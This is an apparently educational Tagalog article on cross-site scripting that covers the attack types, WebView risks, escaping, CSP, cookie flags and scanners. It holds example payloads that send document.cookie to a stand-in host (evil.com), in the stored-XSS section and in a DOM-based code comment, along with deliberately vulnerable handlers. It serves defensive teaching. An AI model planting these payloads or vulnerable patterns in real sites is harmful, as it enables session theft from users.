XSS — ano ito, mga uri ng pag-atake at pamamaraan ng proteksyon

Ano ang XSS?

XSS (Cross-Site Scripting) — ay isang kahinaan na nagpapahintulot sa attacker na mag-inject ng JavaScript code sa isang web page, na pagkatapos ay isinasagawa sa browser ng biktima. Nil-load ng browser ang pahina mula sa isang pinagkakatiwalaang site at isinasagawa ang na-inject na script na may parehong mga karapatan gaya ng lehitimong code ng site. Nagbibigay ito sa attacker ng access sa cookies, session storage, DOM tree ng pahina, at kakayahang magpadala ng mga request sa ngalan ng biktima. Ang mga kahinaan ng XSS ay lumitaw kapag ang application ay nagpasok ng data ng user sa isang HTML page nang walang tamang pag-escape o pag-validate.

Kasaysayan at kaugnayan ng XSS

Ang terminong Cross-Site Scripting ay unang lumitaw noong 2000 sa Microsoft Security Bulletin. Sa nakalipas na 25 taon, hindi nawala ang kaugnayan ng XSS: ayon sa datos ng HackerOne (2025), ang XSS ay bumubuo ng humigit-kumulang 22% ng lahat ng nakarehistrong kahinaan sa platform. Ang dahilan ng pagtitiis ng XSS ay ang pagiging kumplikado ng pagkontrol sa lahat ng entry point ng data ng user. Anumang input field, URL parameter, HTTP request header, o filename ay maaaring maging vector ng pag-atake kung ang data ay naaninag sa HTML code nang walang pagproseso.

Anong pinsala ang naidudulot ng XSS?

Ang mga pag-atake ng XSS ay maaaring humantong sa pagnanakaw ng session cookies, na nagpapahintulot sa attacker na mag-log in sa account ng biktima nang walang password. Iba pang mga kahihinatnan: pag-redirect sa mga phishing site, pagpapalit ng nilalaman ng pahina, pagnanakaw ng personal na data, pag-install ng malisyosong software (drive-by download). Noong 2023, isang pag-atake ng XSS sa platform na Salesforce Community Cloud ang nakaapekto sa data ng libu-libong corporate client, na nagpapakita na kahit ang malalaking platform ay hindi immune sa kahinaang ito.

Mga uri ng pag-atake ng XSS

Ang klasipikasyon ng XSS ay naghahati ng mga pag-atake sa tatlong pangunahing uri batay sa paraan ng paghahatid ng malisyosong code. Ang bawat uri ay nangangailangan ng ibang paraan ng proteksyon: ang Stored XSS ay hinaharangan sa pamamagitan ng pag-escape ng output mula sa database, Reflected — sa pamamagitan ng pag-escape ng URL parameters, DOM-based — sa pamamagitan ng ligtas na pagtatrabaho sa DOM-API. Ang pag-unawa sa pagkakaiba ay ang pundasyon ng isang epektibong estratehiya ng seguridad.

Stored XSS (permanente)

Pinaka-mapanganib na uri ng XSS. Nag-iinject ang attacker ng script sa data na iniimbak ng server sa database at ipinapakita sa bawat pag-load ng pahina. Karaniwang vector — field ng komento: nag-publish ang attacker ng komento na may <script>document.location='https://evil.com/?c='+document.cookie</script>. Ang bawat user na nag-load ng pahina na may komentong ito ay nagpapadala ng kanilang cookies sa attacker. Ang Stored XSS ay hindi nangangailangan ng anumang aksyon mula sa biktima maliban sa pagbisita sa pahina — ginagawa nitong lalong mapanganib para sa mga social network, forum at blog.

Reflected XSS (naaninag)

Ang malisyosong script ay ipinapadala sa HTTP request (karaniwan sa URL parameter) at agad na naaninag ng server sa tugon. Gumagawa ang attacker ng link na may anyong https://example.com/search?q=<script>...</script> at ipinapakalat ito sa pamamagitan ng phishing, social network o email. Ang biktima, sa pag-click sa link, ay tumatanggap ng pahina kung saan ang inilagay na query sa paghahanap (script) ay ipinapakita nang walang pag-escape. Ang Reflected XSS ay nangangailangan ng social engineering — dapat i-click ng biktima ang link, na nagbabawas ngunit hindi nag-aalis ng panganib.

DOM-based XSS

Hindi tulad ng Stored at Reflected, ang DOM-based XSS ay hindi nangangailangan ng pagpapadala ng data sa server. Lumilitaw ang kahinaan kapag ang client JavaScript ay nagpasok ng data ng user mula sa URL, document.referrer, postMessage o localStorage sa DOM nang walang ligtas na pagproseso. Halimbawa, ang code na may anyong document.getElementById('output').innerHTML = location.hash.substring(1) ay nagsasagawa ng anumang HTML at script mula sa fragment ng URL (#<img onerror='...'>). Ang DOM-based XSS ay pinakamahirap na matukoy dahil hindi natatanggap ng server ang malisyosong payload — ito ay ganap na pinoproseso sa kliyente.

// Halimbawa ng DOM-based XSS (MAHINANG CODE)
// Kung userInput = "<img src=x onerror='fetch(`https://evil.com/`+document.cookie)'>"
const userInput = new URLSearchParams(
    window.location.search
).get('message');

// document.write — mapanganib: naglalagay ng raw HTML
document.write('<div>' + userInput + '</div>');

// LIGTAS NA ALTERNATIBO — gamitin ang textContent
document.getElementById('output').textContent = userInput;

Paano gumagana ang pag-atake ng XSS?

Ang pag-atake ng XSS ay nagsasamantala sa pangunahing katangian ng web: isinasagawa ng browser ang JavaScript na natanggap mula sa isang pinagkakatiwalaang domain. Kung makahanap ang attacker ng paraan upang i-inject ang kanyang code sa HTML na tugon ng server, isinasagawa ito ng browser na may parehong mga pribilehiyo gaya ng lehitimong code. Ang pag-atake ay dumadaan sa tatlong yugto: pag-inject ng malisyosong code sa content, paghahatid ng content sa browser ng biktima, at pag-execute ng code na may access sa DOM, cookies at storage.

Yugto ng pag-inject

Nakahanap ang attacker ng entry point — isang field, URL parameter o header na ang halaga ay isinasama ng server sa HTML na tugon nang walang pag-escape. Mga karaniwang entry point: mga field ng paghahanap, mga field ng komento, username, avatar URL, cookie file, HTTP headers (User-Agent, Referer). Ang mga modernong framework (React, Angular, Vue) ay awtomatikong nag-e-escape ng output, ngunit maaaring i-disable ng mga developer ang pag-escape sa pamamagitan ng dangerouslySetInnerHTML, bypassSecurityTrustHtml o v-html.

Yugto ng paghahatid

Para sa Reflected XSS, ang attacker ay nagpapakalat ng malisyosong link. Para sa Stored XSS, sapat na ang mag-publish ng content sa target na site, at ang bawat bisita ng pahina ay nagiging biktima. Ang DOM-based XSS ay naa-activate kapag nag-load ng pahina na may partikular na URL fragment. Lahat ng tatlong yugto ay maaaring isagawa nang awtomatiko: kung ang XSS ay matuklasan sa isang advertisement banner (third-party content), ang pag-atake ay makakaapekto sa lahat ng user ng site hanggang sa ma-disable ang banner.

// Halimbawa ng Reflected XSS sa paghahanap (MAHINANG BACKEND)
// Sa halip na i-escape ang parameter q, ipinapasok ito ng server sa HTML

// Express.js — mahinang handler:
app.get('/search', (req, res) => {
    const query = req.query.q; // input ng user
    res.send(`<h1>Results for: ${query}</h1>`);
});

// LIGTAS NA BERSYON — pag-escape sa pamamagitan ng encodeURI o template engine:
app.get('/search', (req, res) => {
    const query = escapeHtml(req.query.q);
    res.send(`<h1>Results for: ${query}</h1>`);
});

function escapeHtml(text) {
    return text
        .replace(/&/g, '&amp;')
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;')
        .replace(/"/g, '&quot;')
        .replace(/'/g, '&#039;');
}

XSS sa mga mobile app

Ang mga mobile application ay madaling kapitan din sa mga pag-atake ng XSS, kahit na sa mas mababang antas kaysa sa mga website. Ang pangunahing vector ay WebView at mga hybrid framework (Cordova, Capacitor, React Native na may WebView). Kung ang application ay nag-load ng web content sa WebView — lalo na ang user content (HTML email, artikulo, mensahe) — ang kahinaan ng XSS ay maaaring humantong sa pag-execute ng JavaScript sa loob ng application na may access sa mga native function sa pamamagitan ng JavaScript bridge.

XSS sa WebView Android

Ang Android WebView ay nag-e-execute ng JavaScript bilang default. Kung ang application ay nag-load ng HTML string sa pamamagitan ng loadDataWithBaseURL() o nagpapakita ng user content, ang pag-atake ng XSS ay maaaring magbigay sa attacker ng access sa JavaScript interface (addJavascriptInterface). Ipinagbawal ng Google ang paggamit ng @JavascriptInterface para sa API < 17, ngunit ang legacy code sa mga lumang application ay matatagpuan pa rin. Proteksyon: i-disable ang JavaScript sa WebView kung hindi kinakailangan at gumamit ng ligtas na pagba-browse.

XSS sa React Native at Flutter

Ang React Native ay hindi gumagamit ng WebView para sa UI — ang mga component ay nire-render sa mga native view. Gayunpaman, kapag nagpapakita ng HTML sa pamamagitan ng react-native-webview o rich-text component, bumabalik ang panganib ng XSS. Ang Flutter ay gumagamit ng sarili nitong rendering engine (Skia) at hindi sumusuporta sa JavaScript sa HTML widgets (flutter_html ay hindi nag-e-execute ng script tags), ngunit ang mga WebView plugin (webview_flutter) ay mahina katulad ng native WebViews. Pinakamahusay na kasanayan — huwag kailanman magpadala ng hindi na-verify na HTML sa WebView.

• I-disable ang JavaScript sa WebView kung ang content ay hindi nangangailangan ng interaktibidad
• Gumamit ng CSP headers upang limitahan ang mga pinagmumulan ng script sa WebView
• I-sanitize ang HTML bago i-load sa WebView: alisin ang mga script tag at event handler
• Huwag gumamit ng addJavascriptInterface sa Android nang walang mahigpit na pagsusuri ng papasok na data

// Ligtas na configuration ng WebView sa Android
val webView = findViewById<WebView>(R.id.webview)

// I-disable ang JavaScript kung hindi kailangan ang interaktibidad
webView.settings.javaScriptEnabled = false

// I-sanitize ang HTML bago i-load
val sanitizedHtml = Jsoup.clean(userHtml,
    Whitelist.basic()
        .removeProtocols("img", "src", "javascript")
)

webView.loadDataWithBaseURL(null, sanitizedHtml,
    "text/html", "UTF-8", null)

Mga paraan ng pag-iwas sa XSS

Ang proteksyon laban sa XSS ay batay sa tatlong prinsipyo: huwag magtiwala sa input ng user, mag-escape bago mag-output, gumamit ng Content Security Policy. Pag-escape ng output (output encoding) — ang pinakamahalagang paraan: lahat ng data na natanggap mula sa user ay dapat i-escape bago ipasok sa HTML, JavaScript, CSS o URL. Ang mga modernong template engine (Twig, Handlebars, JSX, Blade) ay awtomatikong gumagawa nito, kung hindi i-disable ng developer ang pag-escape gamit ang mga espesyal na pamamaraan.

Kontekstwal na pag-escape

Ang pag-escape ay depende sa konteksto ng pagpasok ng data. Sa konteksto ng HTML, ang <, >, &, mga quotation mark ay ine-escape. Sa konteksto ng JavaScript, ang mga backtick, , </script> ay ine-escape. Sa konteksto ng CSS — mga control character. Sa konteksto ng URL — URL encoding. Ang pagkakamali sa konteksto — halimbawa, pagpasok ng HTML-escaped string sa isang onclick attribute — ay hindi nagpoprotekta laban sa XSS, dahil ang onclick ay isinasagawa sa konteksto ng JavaScript, kung saan kailangan ang ibang pag-escape.

Content Security Policy (CSP)

CSP — isang HTTP header na naglilimita sa mga pinagmumulan kung saan maaaring mag-load ang browser ng mga script, style at iba pang resources. Mahigpit na CSP (walang unsafe-inline, walang unsafe-eval) ay humaharang sa pag-execute ng anumang inline na script, kabilang ang mga XSS vector. Ayon sa Google Security Blog (2025), ang mga site na may CSP ay humaharang sa 95% ng mga pag-atake ng XSS. Halimbawa: Content-Security-Policy: default-src 'self'; script-src 'self' ay nagbabawal sa lahat ng panlabas at inline na script. Hindi pinoprotektahan ng CSP laban sa Stored XSS kung ang script ay na-load mula sa parehong domain, ngunit ito ay nangangailangan ng karagdagang pagsisikap mula sa attacker.

HttpOnly at Secure cookies

Ang pagtatakda ng flag na HttpOnly para sa cookies ay pumipigil sa pag-access sa pamamagitan ng JavaScript (document.cookie), na humaharang sa pagnanakaw ng session cookies sa pamamagitan ng XSS. Ginagarantiyahan ng flag na Secure na ang cookie ay ipinapadala lamang sa pamamagitan ng HTTPS. Ang kombinasyong HttpOnly + Secure + SameSite=Lax ay ginagawang halos imposible ang pagnanakaw ng session cookies sa pamamagitan ng XSS. Gayunpaman, ang XSS ay maaari pa ring magsagawa ng mga aksyon sa ngalan ng user (halimbawa, magpadala ng mga request), kaya ang HttpOnly ay hindi lunas sa lahat, ngunit bahagi ng komprehensibong proteksyon.

Mga tool para sa pag-detect ng XSS

Ang regular na pagsubok para sa XSS — sapilitang bahagi ng CI/CD pipeline ng ligtas na pag-develop. Ang mga automated scanner ay nakakahanap ng hanggang 80% ng mga kahinaan ng XSS, ang natitira ay nangangailangan ng manual pentest. Ang pinakamahusay na approach ay kumbinasyon ng SAST analysis (static), DAST scanning (dynamic), at code review na may pokus sa mga entry point ng data ng user.

• OWASP ZAP — libreng DAST scanner, awtomatikong nakakahanap ng XSS sa mga web application
• Burp Suite Professional — advanced na tool na may Active Scan at Intruder para sa XSS
• XSStrike — specialized scanner para sa XSS na may pagbuo ng payload
• ESLint-plugin-security — static analysis ng React/JSX para sa mga mapanganib na pattern
• Google Observatory — pagsusuri ng CSP headers at mga configuration na may kaugnayan sa XSS

Para sa mga mobile application, ang pagsubok ng XSS ay kinabibilangan ng pagsusuri ng WebView: pagsusuri ng JavaScript interfaces, pagproseso ng URL schemes, at pagpapadala ng HTML sa loadDataWithBaseURL. Inirerekomenda din na subukan ang pagproseso ng postMessage sa mga hybrid application at suriin kung anong data ang ipinapadala sa pamamagitan ng JavaScript bridge. Gumamit ng emulator na may proxy (Burp Suite) para sa pag-intercept at pagbabago ng traffic ng mobile application.